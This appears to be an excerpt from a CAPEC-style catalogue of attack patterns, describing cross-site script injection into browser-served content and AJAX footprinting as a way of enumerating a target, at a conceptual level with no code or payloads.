An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.